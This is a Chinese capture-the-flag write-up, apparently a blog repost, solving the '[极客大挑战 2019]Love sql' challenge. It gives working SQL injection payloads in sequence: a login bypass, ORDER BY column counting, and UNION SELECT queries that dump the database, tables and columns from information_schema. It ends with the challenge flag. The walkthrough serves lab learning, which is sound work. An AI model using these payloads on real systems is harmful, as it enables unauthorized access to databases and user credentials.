zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]Love sql

    登录界面,继续尝试万能密码,登录进去了。

    但是密码时经过加密md5加密的。

    先要确定列数,payload:?username=admin' order by 3 %23 &password=1'or 1='1   登录成功     说明共有3列

    payload:?username=admin' order by 3 # &password=1'or 1='1 登录失败(可能是对#有过滤) 

    payload:?username=admin' order by 3 # &password=1'or 1='1   回显失败

    确定列数为3

    确定一下回显位置,payload:?username=-1' union select 1,2,3 %23&password=-1

    那么就开始sql注入吧。先进行爆库。

    ?sername=-1' union select 1,2,database() %23 &password=1

    再爆一下表名

    payload:?username=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' %23 &password=-1

     得到表名后继续爆列名 payload:?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' %23 &password=-1

     

    得到列名,输出一大串字符串,这里不再复制

    最后得到flag在字符串的末尾

    flag{50ae4e00-8561-4eb0-8897-0be2fc8a14ab}'

     

  • 相关阅读:
    转:Image与byte之间互转
    转:C#清除回收站
    设计模式:装饰模式
    设计模式:策略模式
    设计模式:简单工厂
    分享一套简单的CodeSmith三层模板
    CodeSmith读取数据库
    从学CodeSmith谈程序员学习方法
    Elasticsearch常用基础操作
    idea java 1.5 过时
  • 原文地址:https://www.cnblogs.com/CNdate/p/13253333.html
Copyright © 2011-2022 走看看